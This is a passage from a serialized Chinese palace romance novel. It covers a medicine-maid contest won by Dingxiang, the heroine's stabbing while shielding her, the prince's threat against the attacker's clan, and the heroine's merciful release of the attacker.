“怪不得之前伺候皇后娘娘的身边的几个婢女明明用的是同一样的药方,喝了丁药女的宫女病早都已经好了,而喝大药女所煎的药的宫女却是毫无起色,最后竟还拖成了重症,原来问题是出在这里呀!” 听到众人对自己指指点点,非议纷纷,前任大药女的脸都被气绿了。 便忍不住指着人群,喝声道:“你们一个个都给我住嘴!不过都是些雕虫小技而已,有什么好显摆的。” 张院判悠哉悠哉地捋着自己的一缕小胡须,对此结果似是心中颇为满意。 想了想,便道:“如此看来,众所瞩目,这第二轮又是丁药女胜出了。那如今,便只剩下最后一轮比试了。” 目光忽然撇到了前任大药女的身上,见其一脸气急,便问她:“这场比试,已然是三局两胜,胜负已经分晓,不知你是否还要继续比下去呢?” 怎料前任大药女瞪着眼睛,依旧不屈不挠:“当然,自是要继续比下去,哪怕只还剩最后一局又如何?” “如此,那比试的最后一题……”张院判见她亦是执着,事已至此,竟还不死心, 想着想着,忽然将目光望向身旁的衣上云,道:“这比试的最后一题,不如,就由王妃娘娘来出,如何?” “我……”衣上云顿看向张院判的脸,张院判对其点了点头,示意她是可以的。 于是,衣上云抬头稍加思索便道:“那比试的最后一题便是……仁心。” “仁心?” “仁心是什么?” “何谓仁心?” “仁心当如何比试?” 闻此,人群里复又陷入哗声一片,开始热烈的讨论起来。 衣上云遂解释道:“没错,仁心,医者仁心,大爱无疆,悬壶济世,救死扶伤。” 张院判听到这四个字似是有些熟悉,顿回忆过往,片刻想起曾经在太子院里与其一道治愈太子天花之症的经历。那时的她,是那般的奋不顾身,心里眼里只有病患。 衣上云的仁心仁术,至今都还令他印象深刻,钦佩不已。 一回过神来,有些纳闷地问:“可这仁心又该如何比试呢?” 衣上云想了想,不知为何,眼前忽然浮现起与轩辕翰第一次见面时的情景。 思虑了一瞬,便道:“其实很简单,我这里有个故事……若是有一风高月黑的夜,敌国一将领在独自执行任务时不慎受伤,倒在了路边,此处几乎是无人会经过的一深山之中,恰巧被你路过遇见了。那么我的问题是,若是你,会选择救,还是不救?” 闻此,在场所有人都开始议论纷纷。 “怎么能救一个敌国的将领呢?” “照我说,此时就该再补上一刀,让他死个透彻,以绝后患无穷。” …… 这时,前任大药女不屑地瞪了衣上云一眼,激情澎湃地说:“出的什么题?只要是个人都会选择不救。今日若救了敌国的将领,难不成等着他回去养好伤,待其痊愈之后重整旗鼓来灭掉你吗?” 闻此,衣上云秀眉轻蹙,朝其淡然一笑。 这时,丁香开口说:“我会选择救。” 闻声,所有众人俱都朝其投去质疑的目光。 丁香却坦然地解释道:“何为仁心?何为医者父母心?就是在医者的眼中,不应该有国界,政治,利益,金钱等各种杂念参杂其中。每个人都是平等的,我们不能因为他是罪犯,便就不救治他,任他自生自灭,这是极不道德的。” 闻此,衣上云整个人都惊呆了。 张院判亦激动地拍手叫好起来:“好,非常好。今日的比试果真是精彩绝伦!” 经过今天亲眼目睹这场大药女之角逐,衣上云心里亦是感叹岁月。 时光荏苒,她为御药房里能有丁香这样成长起来的有担当,有责任的药女而感到高兴,亦感叹医药的博大精深,于是起身来悠悠说道。 天下兴,天下亡 唯有药草独守人间 沉默又坚决 以其生命 对抗这世间无情的崩裂 将其悉心缝补复原 日升月潜 沧海桑田 药典里一字一言 皆为最美之诗篇 生来何其幸 与药结缘 方得命中最美之遇见 当看到生命重叠 便体会残缺亦是完美 落叶飞花无解 药草温暖人间 夜空里的月 攀爬过的山 跨过的溪流 心中所念的药笺 终成永恒的生命 漆黑的夜里 不要害怕 不要退缩 一往无前 世间仁爱 从未离开 闻此,霎时间掌声四起,震撼全场众人。 至此,张院判方才最后开口总结说:“好了,今日所有的比试都已结束,现在我宣布……本次大药女之角逐,获胜者是……丁香。” 至此,终于从周遭响起了热烈的掌声不断。 甚至将张院判的声音都快要被埋没:“她比你们任何人付出的都要多,是受之无愧的大药女,往后你们需得敬她,跟着她好好学本领,也不枉你们在御药房这些年起早贪黑的辛苦付出。” 霎那间,众人全都齐刷刷在茱萸的带领下,朝着丁香身边一齐涌了过去…… 第五百七十六章:兵部侍郎家养出的好女儿 众人全都齐刷刷在茱萸的带领下,朝着丁香身边拥了过去,将其紧紧围了起来,对其夸夸,赞叹声不绝。 “大药女果然技高一筹。” “大药女之职丁香受之无愧。” “以后我们定当向大药女好好学习才是。” “以后大药女您说什么我们都听。” …… 张院判则瞥了一眼此刻被孤立在一旁的前任大药女,训斥劝慰其道:“如今既已自知技不如人,理应平日里多加细心研究苦练医药术才是,以后莫要整日里只知拉帮结派,诋毁中伤他人,行粗言秽语之事了。否则,若是哪日真的不小心闯下了大祸,可就什么都晚了。” 可无论他说什么,前任大药女似是一点儿都听不进去,只怒瞪着众人,仿佛整个世界俱都欠她的一般。 张院判见其固执至极,无力地摇了摇头,便转身朝屋内踱步回去。 众人亦都随之缓缓散去,丁香此时方才满脸欣喜地朝着衣上云的身边飞奔了过去。 确是当她三步并作两步上前到其跟前时,脚步忽然顿停了下来,朝其极其认真地跪地俯身趴在地上行参拜大礼:“奴婢丁香,参见王妃娘娘!” 衣上云一边着急地将她扶起身来,终于惊喜地唤了一声她道:“丁香,你果然没有让我失望,你做得很好。快起来,不必对我行如此大礼。” 丁香满含热泪,激动地说:“不,王妃娘娘今日请务必收下丁香这一拜。在这个世上,于丁香而言,王妃亦师、亦友、亦主。当年若不是王妃娘娘教导,又怎会有丁香今日呢!王妃娘娘的大恩大德,丁香来世即便结草衔环,亦是报答不清。” “这也都是你自己争气得来的。”衣上云几经尝试,终于将丁香缓缓扶了起来。 丁香似是忽然又想起了什么,于是一起身来便赶忙拉起她朝其腿上看去。 关切地说:“方才,奴婢刚一回宫便听人说王妃娘娘与秦王殿下今日一同进了宫,王妃娘娘竟就先来御药房寻奴婢了,奴婢怕自己不在,这些不知天高地厚的臭丫头故意刁难您,便直接赶过来了。之前听衣药师说娘娘的腿已经都大好了,奴婢怎么都不相信。快让奴婢看看,您的腿,真的都好了吗?” 已经过去了这么久,衣上云见丁香至今还记挂着自己的腿疾,便道:“好了好了,早都已经好了,你就不要担心我了。” “真的好了?王妃没骗我?是真的好了吗?”丁香自顾自细细打量,始终都不依不饶地问。 衣上云无奈地转了一圈给她看。 丁香见其行动果然已与常人并无异样,方才放心下来,痴迷地喜道:“没想到世间真有如此医术高超之人,就连整个太医院都束手无策的病症,竟然也能被治愈,我真想跟他讨教一二。” 衣上云见了,不禁打趣其乐道:“几年不见,怎么你如今似是变成了个痴儿了?” 然丁香却丝毫不在乎她说了自己什么,只目光定定地盯着她的脸看了一会儿,莫名其妙地说了句:“真好!” 衣上云不解地问:“你说……什么真好?” 丁香拉着她的手,说:“成为秦王妃,终于有情人终成眷属,真好!” 衣上云恍然大悟,她自己又岂会不觉现在这样很好呢,遂对其笑了笑,没有说话。 一旁,见到自己身边空空孤立无援,今日遭受如此奇耻大辱,那前任大药女立在原地里恨的久久都还咬牙切齿着。 反观眼前丁香,却正亲密地拉着衣上云的手开心交谈着。 于是,一种挫败,失落极了的情绪渐渐扩散,直至控制了她的大脑,最后鬼使神差地竟悄悄上前握起案上的一把小刀藏在了袖子里。 继而缓缓迈步探身过去,上前走到丁香的身旁,朝其后肩稳稳地插了上去,并狠狠道:“我不服,死都不服,今日一定是你们两个合起来诓我的。” 衣上云的目光刚一撇见那明晃晃的刀尖从空中落下,即将要刺下的方向,便本能一般地撑开双臂只身挡在了丁香面前,扬声提醒道:“丁香小心!” 刹那间,只见衣上云的肩头便已鲜血直流,只不过须臾之间,就已染红了一大片白衣。 丁香瞬间被眼前所发生的事惊呆了,朝着亦似是被自己愚蠢冲动的举动吓呆了的前任大药女,大声喝斥道:“你疯啦!” 可来不及顾及她,丁香赶忙上前两步扶住受伤正吃力站着的衣上云,道:“王妃娘娘,王妃娘娘,你还好吗?” 可一看到衣上云很快便变得越来越苍白的脸,其整个人亦似乎无力地开始顺着丁香慢慢下滑,丁香跪在地上紧紧抱着衣上云的身子,惊慌害怕地扬声呼唤:“来人,快来人啊!” 就在这时,立在门外已听闻了方才院内一段比试过程的轩辕翰闻声带人破门而入。 推门一见到衣上云正瘫坐在地上,似是已昏厥了过去,一袭雪白纱裙上渗出大片鲜红的血迹来。 便赶忙飞步过去,俯身将其一把从地上捞起,横抱了起来,在其耳边着急地呼唤着:“云儿,醒醒,快醒醒,本王来了,云儿……” 霎那间,轩辕翰那双深不见底的眼睛里顿时寒光四射,朝着那尚还惊魂未定的前任大药女看了去。 “咣当”一声。 因受其震慑,其手中的小刀一松,不慎顿时掉在了地上,发出一阵清脆的声音。 未及主子下令,程良便已命人上前将其驾了出去。 在御药房里。 丁香亲自颇为细致认真地替衣上云在伤口处上好了药,伤药是张院判亲自战战兢兢送过来的。 待其包扎刚一完毕,轩辕翰便迫不及待地当着众人的面将衣上云抱出了御药房,带回到秦王府。 林月轩里。 折腾了许久,燕儿看着衣上云原本如凝脂般光洁的肩头所留下的那道那险而又险,那般深的伤口,早已心疼的哭成个泪人。 “早知道宫中如此凶险,小姐每进一次便伤一次,这次燕儿便就应该随同小姐一起入宫,好保护小姐。这早上出门的时候还好端端的一个人,怎么现在就成了这副模样了呢?” 说完,又暗自悄悄抹起泪来。 此刻,她终于帮着乐太医重新给衣上云上了药,又再次包扎好。 衣上云正在榻上沉沉地睡着,燕儿重新拿出来一套干净的粉色衣裙,准备替其换上。 见乐太医一出来,轩辕翰便顿停下了自从回府便一直在屏风后来回走动,一步都未曾离开的步伐。 着急地问:“怎么样了?” 乐太医终于吐了口浊气,即便现在依旧后怕极了地道:“王妃娘娘吉人天相,现在已经脱离危险了。可是……刀尖如若当时再差半分,便就正好从后肩命中心脏,王妃娘娘怕是就再也无力回天了。” 轩辕翰亲眼看到衣上云在自己的怀里流了那么多血,就算乐太医不说,轩辕翰心里亦清楚这次有多么危险,至今想起亦都还魂不守舍着。 闻声,他紧紧握住了双拳,沉声唤来了守在门外的程良:“程良!” 见此,乐太医退下,程良进门朝其恭敬地行礼,问:“殿下有何吩咐?” 轩辕翰道:“她现在人在哪里?” 程良答:“属下已经命人将她带回王府,等候殿下发落!” 轩辕翰想了想,满脸愤怒,杀气腾腾地道:“可恶!敢伤本王的女人,定是活的不耐烦了。你亲自去传本王的话,就说兵部侍郎家养出的好女儿,难怪在宫里都是横行的,竟敢都谋杀本王王妃,本王今日命她全族人天亮之前以死谢罪。” 闻此,程良心里不禁顿时一惊,似是有些犹豫,说:“可殿下,兵部侍郎是咱们正在争取的人,现下里,他也是皇上身边的红人,如此一来,会不会对我们的计划不利……” 对于程良的质疑,轩辕翰顿回过头怒瞪着他,道:“没有他,本王想得到的依然能得到,还不快去……” 不得已,程良只能忍痛领命:“是……” 然就在这时,一微弱的声音忽然从屏风后传出:“殿下……不要……” 闻声,轩辕翰第一时间反应过来是衣上云苏醒了,便紧忙转身绕过屏风朝榻边飞奔了过去。 果然,衣上云竟然不知何时已醒了过来,正在燕儿的搀扶下吃力地下榻,站起身来。 轩辕翰一见,便担心极了地过去阻止其道:“云儿,你这是做什么?还不快躺下,小心伤口!” 衣上云扶着其胳膊,朝其哀求道:“殿下方才是要程将军去做什么?可是要杀了兵部侍郎全族?” 轩辕翰始料未及,这一切竟被衣上云刚好亲耳听到,便躲闪过她的眼睛,说:“云儿,此事你不要管,你今日所受,连同之前在御药房她对你的侮辱,本王这次一并替你讨回来。” 衣上云急急解释:“殿下万万不可因为我而乱杀人。她是因为妒忌之心才会致使自己迷了心智,她不是有意要伤我的,殿下您放了她吧!” 第五百七十七章:很爱很爱 衣上云急急解释:“殿下万万不可因为我而乱杀人。她是因为妒忌之心才会致使自己迷了心智,她不是有意要伤我的,殿下您放了她吧!” 不容有一丝商量的余地,轩辕翰想都不想想,便斩钉截铁地拒绝了她:“不行,本王没有亲自动手将他碎尸万段,已经是便宜他了。” 衣上云没有想到,今日的事,轩辕翰竟会如此动怒,心下里一着急,忽然重重地咳了起来:“殿下……咳咳咳……咳咳咳……” 燕儿一见,顿看向衣上云的伤口处,生怕这阵剧烈的咳嗽会将她刚刚包扎好的伤口再次崩开。 于是赶忙一只手附上去轻轻顺着她的后背,一边心急如焚地劝慰着:“小姐,你不要激动,千万不能激动,仔细刚刚包扎好的伤口又崩开了。” 燕儿紧张的手忙脚乱,似是都快要急哭了,赶快朝身边的轩辕翰求救:“秦王殿下,你快劝劝我家小姐啊!” 衣上云亦将一手紧紧攥在自己的心口,另一手紧握着轩辕翰的手臂,摇着头依旧坚持着朝其苦苦哀求道:“殿下,不要,云儿求你……” 轩辕翰已是实在忍不下这口气,可显然又对衣上云此刻是这般的无可奈何。 她的善良,她的执着,向来如同就是她最致命的武器一般,让他对她没有一丝丝抵抗力。 “你……”显然,他拿她彻底没有办法,只怔怔的看着她的眼睛。 衣上云始终都不放弃,态度坚定至极。 看到自己的坚持似是有了效果,于是待呼吸刚刚缓和了一些,又说:“殿下,放了她吧,我现在不好好的站在您面前呢吗?” 提及此处,轩辕翰忽又再一次变得愤愤起来道:“你现在这叫好好的吗?你可知,若是她今日手里的刀再差半分,你便会,便会……到时,你教本王怎么办?” 看到轩辕翰忿忿不平,却始终都是因为着急关心自己的安危,为了自己出头。 衣上云的眼睛忽然变得温柔了下来,且缓缓附手上去握住了他的两只大手,朝其认真地致歉道:“殿下,对不起。” 也许是因为其突然主动凑上来俩人的十指相扣,轩辕翰的眼睛,也似是这个时候渐渐变得不再只是充满了怒火。 遂亦深情地看向她的眼睛,质问其道:“你难道不知道,本王不能再没有你?” 看到面前的两个人眼里俱都含情脉脉,情绪与交谈的语气终于皆都渐渐平静了下来,燕儿方才敢安心地悄悄退了下去。 见燕儿离去,一室寂静,殿内只剩下他们两个人。 衣上云慢慢松开了手,却又顺势轻轻圈住了他的腰身,将自己的脸靠过去贴在他坚实的胸前,听着他的心跳。 在他怀里呢喃软语:“对不起,今日是云儿不对,云儿让殿下担心了。以后,云儿一定会保护好自己,再不让殿下担心。” 这温软的身子,柔声细语划过耳畔,轩辕翰只觉自己的心都快要化了。 于是缓缓抬起一只手来,将她揽入到自己怀中,质疑地问:“你真的会吗?你真的懂得保护自己吗?” 衣上云点了点头,道:“嗯,为了殿下,云儿一定会保护好自己。” 就在这时,轩辕翰忽然一把将她横抱了起来,满脸宠溺地说道:“就这样赤脚站在地上大半天,也不知道凉,净忙着帮别人求情了,如何让本王相信你能保护好自己?” 忽然就这样被抱起,衣上云只顺势紧紧环住了他的脖颈,闻声一脸娇羞地贴在他心头,将自己的脸藏了起来。 轩辕翰温柔地将其抱过去,放到自己宽大的榻上躺下。 衣上云这才想起,今日进宫本是为了去面见太后,向太后请安的。 于是方才着急地问:“可是殿下……云儿今日还未曾去永安宫向太后请安呢!” 见其直到现在才反应过来,轩辕翰只无奈地斜了她一眼,一边亲自替其盖上自己的锦被,一边道:“本王自会处理,你先管好自己吧!” 至此,衣上云这才听话乖乖地躲进了被子里,却又有些顽皮地将自己的半个脸都遮了起来,只留一双明净清澈,灿若繁星好看的眸子扑闪扑闪着,流连忘返在轩辕翰暖心的一举一动上。 这才发现,被子里,尚还残留着轩辕翰淡淡的体香。 可更神奇的是,就是这淡淡的香,竟忽然莫名的使她安心了下来。 轩辕翰细心的为她捻好了被角,最后又亲自替她理了理额前凌乱的一缕发丝。 衣上云贪婪地注视着此刻眼前这张仿佛被天公雕刻过的轮廓,这一刻,他是那般的温柔。 世人皆称他冰冷无情,却只有她自己知道,这个男人,比世上任何人都要温暖,深情。 看着看着,她忽然发出一低低的嗔声叫道:“殿下。” 轩辕翰稍加思索,顿蹙起眉头着急地道:“可是伤口有何不适?快给本王瞧瞧!” 可就在轩辕翰朝其俯身下来,正欲替其查看伤口时,衣上云忽然微微抬了抬起身子,将自己温柔的一吻落在了轩辕翰的脸颊。 轩辕翰整个人顿时都僵住了。 天雷勾动地火…… 待一回过神来,轩辕翰便忽地再次俯身下去,一吻封唇。 情到浓时,迷离扑朔,俩人的呼吸亦都慢慢变得愈来愈快,愈来愈沉。 轩辕翰在其枕边与其耳鬓厮磨,轻唤说:“云儿,本王等不及了,本王要你,就现在!” 烛火摇曳,帐幔轻洒。 他温柔地缓缓褪去了衣上云身上纱衣的遮挡,眼前顿现出一个洁白无瑕,凹凸有致的曼妙身姿来。 轩辕翰将自己轻柔的吻,从衣上云的额头,落至其鼻尖,再到脸颊,轻咬她的耳垂,游离至她细长的脖颈,一路向下轻啄她温软的唇瓣,至她的肩头。 衣上云只觉自己身上袭来一阵又一阵的酥麻感,本能地轻轻柔柔回应着他。 忽然,轩辕翰停在了她的后肩伤口处,顿时无法继续。 遂愣了一下,注视着旁边那个此刻显得颇为刺眼的凤凰印记一会儿,复又再一次尝试着开始吻了下去。 此时此刻,他心里是多么希望这个印记能被自己的吻抹掉。 然没过多久,其动作再一次戛然而止。 同时,理智亦告诉他,他不该在这个时候冲动,最后受到伤害的总是自己最爱的人。 于是,轩辕翰无奈地只能渐渐退了下来。 衣上云其实早已觉察到了他今日的不对劲,于是合衣依偎在他宽阔的怀抱里,柔声在其耳边问道:“殿下今日怎么了?可是皇上说了什么?还是皇后娘娘说了什么?今儿回宫后,殿下便一副心事重重的样子。” 轩辕翰欲言又止,最后只紧紧地拥着她说了句道:“云儿,对不起。” 闻声,衣上云的脸上顿时泛起一阵红晕,以为他是在为刚才进行不下去的事情向自己道歉,便内疚地说:“该说对不起的是云儿,是云儿这身子不争气,委屈了殿下。” “不是这个,不是这个,本王说的不是这个……” 可轩辕翰也只能在自己心里默默呐喊着,关于这许多事,他实在是不知该如何与她说出口来。 挣扎到最后,轩辕翰只信誓旦旦地说了句:“本王一定会护你周全。” “嗯。”尽管觉得俩人这对话有些无厘头,衣上云最后还是乖巧的回应了他。 俩个人儿紧紧拥在一起,缱绻旖旎。 不知过了多久,轩辕翰回忆起今日在御药房里所听到的。 忽然开口问衣上云:“对了,今日比试第三轮,你所出的题目,可是出自你与本王初次相见时的情景。” 衣上云惊讶地道:“原来,殿下您都已经听到了。” 轩辕翰解释道:“本王与皇兄见面之后,本王便过去寻你,那时,正好碰见张致远让你出最后一题。” 衣上云正想开口解释,并不是自己有意要插手御药房的事情:“殿下,云儿本……” 岂料话刚一开口,便被轩辕翰再次挡了回去:“若是现在让你重新选,你是会选择救本王,还是杀了本王?” 衣上云目光定定地注视着轩辕翰的脸,轩辕翰却并未看她,只等着她的答案。 衣上云愣了一下,遂开口坚定不移地道:“若是现在让我重新选,我还是会义无反顾地选择救你!” 闻此,轩辕翰心里着实的确很感动,顿看向她的眼睛,问:“为什么?你不怕……” 衣上云遂伸出一手去堵了他的嘴,眼神里充满了浓浓的爱意,道:“云儿知道殿下想说什么……云儿什么都不怕。因为……云儿是真的爱慕殿下,很爱很爱……” 闻此,轩辕翰一脸心满意足,遂再次将怀里的人儿拥得更紧了些。 夜空里的月 攀爬过的山 跨过的溪流 心中所念的药笺 终成永恒的生命 脑海里,忽然浮现起衣上云今日在御药房里认真说出这番话的样子。 此刻,又见怀里的她朱唇微启,低头垂眸,眼睫纤长似羽扇般扑闪着甚是温柔,越瞧越似有些入迷,便在心里默默地嘀咕:“本王此生亦定不负你!” 第五百七十八章:想要的幸福 云卷云舒,月潜日升。 第二天天一亮,轩辕翰起身,前脚刚一迈出林月轩,衣上云便迫不及待地在燕儿的陪同下出了门。 几经探寻,由后廊往西,出了角门,是一条幽长的南北甬路,主仆俩终于在此处找到了王府的暗室所在。 燕儿指着前方一条幽静的林荫小道尽头,激动地道:“小姐,我已经打探清楚了,王府的暗室就在前面。” 衣上云朝周围看了看,嘘了一声,小声提醒燕儿:“嗯,燕儿做的极好!小心千万别被人发现了。” 于是,主仆俩蹑手蹑脚地走进一个圆形的拱门里。 此处表面看起来,和府里其他地方一样,也是一座普通的院子。 一泓池水犹如明镜,镶嵌于葳蕤的草木之间,水榭华庭临水伫立,奇花异草绕水盛开,蝴蝶在花丛中翩翩起舞。 主仆俩一边打量着四处,一边通过回廊走进了正屋。 推开而入,只见偌大的屋内,却是空无一人。 衣上云在屋里走来走去,前前后后仔细检查了一番,说:“这看起来就是一座普通的院子,并不像什么暗室所在呀?” “小姐你这就不知道此处暗藏玄机了吧,看我的。” 燕儿得意地一说完,便环视了一眼四周,最后将目光定在角落木架上所放置着的一只兰花彩绘花瓶上,朝其走了过去。 只见她伸出手轻轻的抱着将花瓶旋转了几下,刹那间,屋子中间地板下竟暗藏有一厚重的石门忽地被打开。 衣上云惊呆了:“王府里竟还有这种地方!” 于是赶忙疾步过去一看,只见眼前竟现出一暗不见天日的地牢来。 “小姐跟我来。” 燕儿说着,很快便提来一盏灯,走在前面带起路来,小心翼翼地扶着衣上云沿着石阶慢慢走下来。 借着地牢里只有角落上亮着的几盏微弱的烛火照耀,衣上云终于寻到了那个往日里那般嚣张跋扈的身影。 此刻,她正蓬头垢面,双目无神,四肢无力地倚靠在铁门边瘫坐在地上,抱着自己的膝盖,一动不动。 即便是听到了开门的声音,亦或她们的脚步声,她也只是微微扭过头去斜了两人一眼,便又回过头去,知道自己闯下大祸,似是已经彻底放弃了挣扎。 轩辕翰只不过命人一日一夜不准她吃喝,如今便就整个人如此一副人不像人,鬼不像鬼的样子,让人一见不禁着实有些于心不忍。 衣上云快步过去,立在她面前,吃惊地看着眼前的人。 那大药女忽然幽幽开口沉声道:“怎么,是来看我笑话的?还是要送我上路了呢?” 尚未及衣上云开口说话,燕儿早已忍不住内心的愤怒,气不打一处来地愤愤道:“你这个人怎么如此不知好歹?不就是兵部侍郎府上的千金吗?有什么了不起……” “燕儿……”衣上云见燕儿情绪如此激动,便想阻止她。 怎料燕儿竟伸出手去将她挡了回去:“小姐,今日你别拦我!我倒是想问问她屡屡与你作对,究竟是什么意思?” 于是继续道:“我家小姐她到底怎么得罪你了,你竟将她伤得如此之重。你可知,太医说,要是你的刀再给半分,我家小姐便就性命不保了。” 闻此,大药女似是也始料未及,没有想到后果会如此严重,这才赶忙抬起头来紧张地看向了衣上云的伤处。 燕儿的声音依旧回荡在耳边:“然即便如此,小姐她还是愿意为你向秦王殿下求情,连自己那般严重的伤都不顾了,险些……” 衣上云终是厉声将燕儿阻止了:“燕儿,好了,不要再说了。” 转而对大药女说:“你起来走吧!” 闻此,那大药女顿时瞪大了眼睛,简直不敢相信自己的耳朵,复问了一声:“你说什么?” “你快点走吧。”衣上云重复了一句。 大药女不解地道:“我险些要了你的性命,你真的一点儿都不恨我?就这样放我离开?” 这时,燕儿又一次开了口,道:“何止放了你一人,而是放了兵部侍郎全族。” 衣上云再次呵斥燕儿:“燕儿……” 大药女自从下手后便开始心惊胆战,后悔担心到现在,以为自己这次闯下的大祸,必会令整个全族毁灭,却不成想会是现在这个结果。 总感觉自己像在梦中一样,那般地不真实,于是再次朝其确认:“世人皆知,秦王殿下位高权重,一人之下,万人之上。今日我伤了他的新王妃,他竟不迁怒于我全族,就这样轻易地便放过我们了?” 衣上云悠悠说:“殿下仁慈,不会因此小事而迁怒于有功之臣。但也希望你以后凡事慎重,改掉你跋扈的脾性,如此才能匹配得上侍郎家的优良家风。” 闻此,大药女着实惊诧极了。 心里暗自琢磨着道:“谁不知西秦秦王乃睚眦必报之人,今日之事,想必绝不会是秦王本意!看来秦王府如今的这位王妃,是个极有心胸,委实不简单之人,亦甚得秦王的心!” 见其始终一副疑惑不解的样子看着自己,衣上云故意道:“怎么?你可是不舍得离开了?既然如此,那我就去求殿下不如……” 这时,大药女忽然揣测说:“我知道,如今在朝堂上,秦王的野心昭然若揭,可你不要以为这次放过我,父亲便会投向秦王。” 衣上云听了,微微一笑,坦然的说:“我从来都没这么想过,男人们朝堂上的事,那是他们的事,与我一个女子有何干系?” 大药女对衣上云的此番话很是有些意外,问:“秦王若是能取代如今的皇上,对你来说,不好吗?那个位置,可是很多名门贵女梦寐以求的。” 衣上云想了想,一脸希冀微笑着说:“今生今世,他已然是我的夫君,我只想陪在他身边,一心一意地爱他,只单纯的爱这个男人。此外,我什么都不在乎。” 至此,大药女似是忽然明白了衣上云心中的所想所愿,即这世间一份最平凡简单的幸福。 于是,终于缓缓起身来提步,却在即将踏上台阶时,忽然再次定住脚步,背对着身后的主仆俩人说:“你以为嫁给这样的男人,还能得到你想要的幸福吗?或许,你们之间,早已注定了终将会不得善终呢?” 闻此,不知为何,衣上云的心忽觉咯噔一下,顿时僵在了原地,一动不动。 燕儿一见,满脸着急地问:“小姐,你怎么了?可是伤口又有何不适?” 大药女觉察到衣上云的反应,暗自想了想,最后轻笑了一阵,便再头也不回地走了出去。 “小姐,小姐……” 燕儿不知唤了多少次,方才将衣上云从某种沉沉的思绪里拉了出来。 衣上云应了一声:“我没事!” 见其终于回过神来,燕儿环视了一眼周围漆黑冰冷的空间,催促着道:“小姐,她已经走了,咱们也快些回去吧,小心被人发现。” “嗯” 衣上云答应着,主仆俩亦一起踱步离开。 承华殿里。 轩辕翰正在处理这两日的紧要公文。 程良步履匆匆地进来禀报:“启禀殿下,属下已经命人故意将暗室的地址和开关泄漏给燕儿。这会儿,王妃娘娘也已经将兵部侍郎之女放走了!” 本就是轩辕翰已经安排好的事,他知道只要是衣上云一心想做的事,不得手,便就是夜里睡都睡不好。 昨夜,因为身上的伤,再加上怕轩辕翰重罚兵部侍郎全族,衣上云翻来覆去,折腾了大半夜,天快亮了才终于合了眼。 所以,见现在如今这样的结果,也自是没有觉得什么意外,只沉声说了句道:“本王知道了!” 倒是程良显得有些忧心,思虑一瞬,问:“那药女回去,不会胡言乱语,将此事告诉兵部侍郎吧,如此一来,怕是其会与我们之间生了嫌隙。” 轩辕翰道:“不会的。” 程良不解地问:“殿下为何如此肯定?” 轩辕翰轻轻放下手里的书简,道:“一个小小的侍郎之女,光天化日众目睽睽之下,竟敢在宫中屡屡聚众滋事,这般粗言秽语,乃至还持刀伤人,伤的还是本王的王妃,无论怎么说,都是他理亏?且当时将她从御药房带走,是皇兄亲自下的令,让本王带回府中将其任由处置的。本王只是说,让本王王妃替公务繁忙的兵部侍郎好好管教管教这女子。否则,就算本王不予追究,如此行径,在这皇城之中,以后还有谁敢与其结亲,娶这等凶悍女子为妇。” 程良想了想,顺着其话道:“如此一来,人们便只会更加传说殿下宽厚,也给侍郎留了些许颜面。” 一念至此,程良忽然高兴地称赞:“如此看来,这一切都还是王妃的功劳呢!” 而一提起衣上云来,轩辕翰略显舒心地吐了口浊气,脸上复又扬起一抹温柔来。 沉默片刻,一回过神来,忽然开口问程良:“本王命你采办的东西可都备好了?” “都已准备妥当!”程良回禀道。 轩辕翰道:“那就出发吧!” “是!”程良领命。 主仆俩人隧一前一后,走出了承华殿的院子。 第五百七十九章:只此一次 “你以为嫁给这样的男人,还能得到你想要的幸福吗?或许,你们之间,早已便注定了终将会不得善终呢?” 在从暗室回到云水阁的一路上,衣上云整个人都陷入在沉沉的思绪之中,耳边不断回想起大药女离开时的这句话。 心里暗暗叹息:“是啊,这样的男人,戎马十数载,本就胸中自有丘壑,如今只不过是在韬光养晦,厉兵秣马,待到厚积薄发日,定将会扭转乾坤。如此这般生来便就不可能平凡的他,真的能给予自己平凡简单的幸福,与自己相依相守共白头吗……” 想着想着,便不由自主地放慢下了脚步。 然与衣上云不同,燕儿则在前面一边走,一边气呼呼地撕扯着手里不知从哪儿随手扯来的一串树叶。 嘟囔着,责怪衣上云:“真没想到这个大药女死到临头了还真是死鸭子的嘴,硬得很,果真是可恶至极!对于这种人,就该逮住机会便好好教训教训她,可小姐为何要拦住燕儿,燕儿不明白小姐怎就如此轻易便放了她?” 可自己嘀咕了许久,却始终都听不见衣上云有一丝回应给自己。 于是,燕儿便纳闷地顿足停下一看,衣上云竟不知何时已放慢了脚步落了下来,与自己距离愈来愈远。 燕儿气的直跺脚,却又无奈地复又掉回头去,将衣上云搀扶住,在其耳边一脸心不甘情不愿地道:“小姐你这是怎么了,怎的一出暗室的门便就一副这般失魂落魄的模样?你放心,我都已经安排好了,从后门出去,没人再拦她,她不会有事的。” 衣上云这才顿回过神来,只说:“我没事,许是有些累了?” “小姐你刚起怎么又累了?”燕儿听了,颇为忧心地问道。 遂稍加思索,便焦急地道:“可是昨夜里伤口疼得厉害,所以才没有休息好?如此,那我们赶快回去云水阁吧,小姐的东西也俱都已经搬过去,归置的差不多了。” “嗯”衣上云朝其点了点头,答应道。 于是,燕儿便高兴地将搀扶她的手紧了紧,遂与其继续一起迈步起来。 燕儿想了想,终是忍不住又接着道:“小姐今日为何不让燕儿替你出气?” 衣上云想了想,想起方才在暗室里见到大药女的第一眼,说道:“得饶人处且饶人,这一夜,看得出大药女她亦心神不宁,心力憔悴不堪,想必当时情急之下,她亦是始料未及,不知会如此不知道轻重,定也被吓得不轻?如今对她的教训,想她日后一定会记下的,我们又何必再咄咄逼人呢?” 然一想到衣上云此次伤势这般凶险,燕儿至今还是有些后怕,便有些嗔怪她:“小姐你也真是的,怎么替谁都挡刀?那个什么丁香,真的有你的性命重要吗?” 衣上云看了看燕儿的脸,回忆往事,说:“我们不都一样么,若是那日大药女所刺之人是你,我也会这么做的。亦如你当初,在骁龙会,你也为兰香这样做了,不是吗?” 然即便如此,燕儿仍觉得生气地很:“我……可燕儿就是气不过,看她都将小姐好端端的一个人折腾成什么样了!燕儿真想也在她的心口上扎一刀,让她感受一下小姐所受的痛!” 衣上云听了看着她的侧脸,见她鼓着腮帮子替自己打抱不平的样子甚是可爱,便抬手去捏了捏她的脸蛋,笑着道:“我的燕儿向来心地善良,我竟不知何时也变得如此心肠歹毒了。只是傻燕儿,你若是在她的心口扎一刀,那她还能活吗?” “可是她……” 燕儿似是还想与其争辩些什么,衣上云却捉住她的胳膊,将她阻止道:“好了燕儿,此事到此为止吧,将这一切忘了。” 燕儿瞪大了眼睛,顿一把甩开衣上云的手,说:“不行,燕儿做不到!” 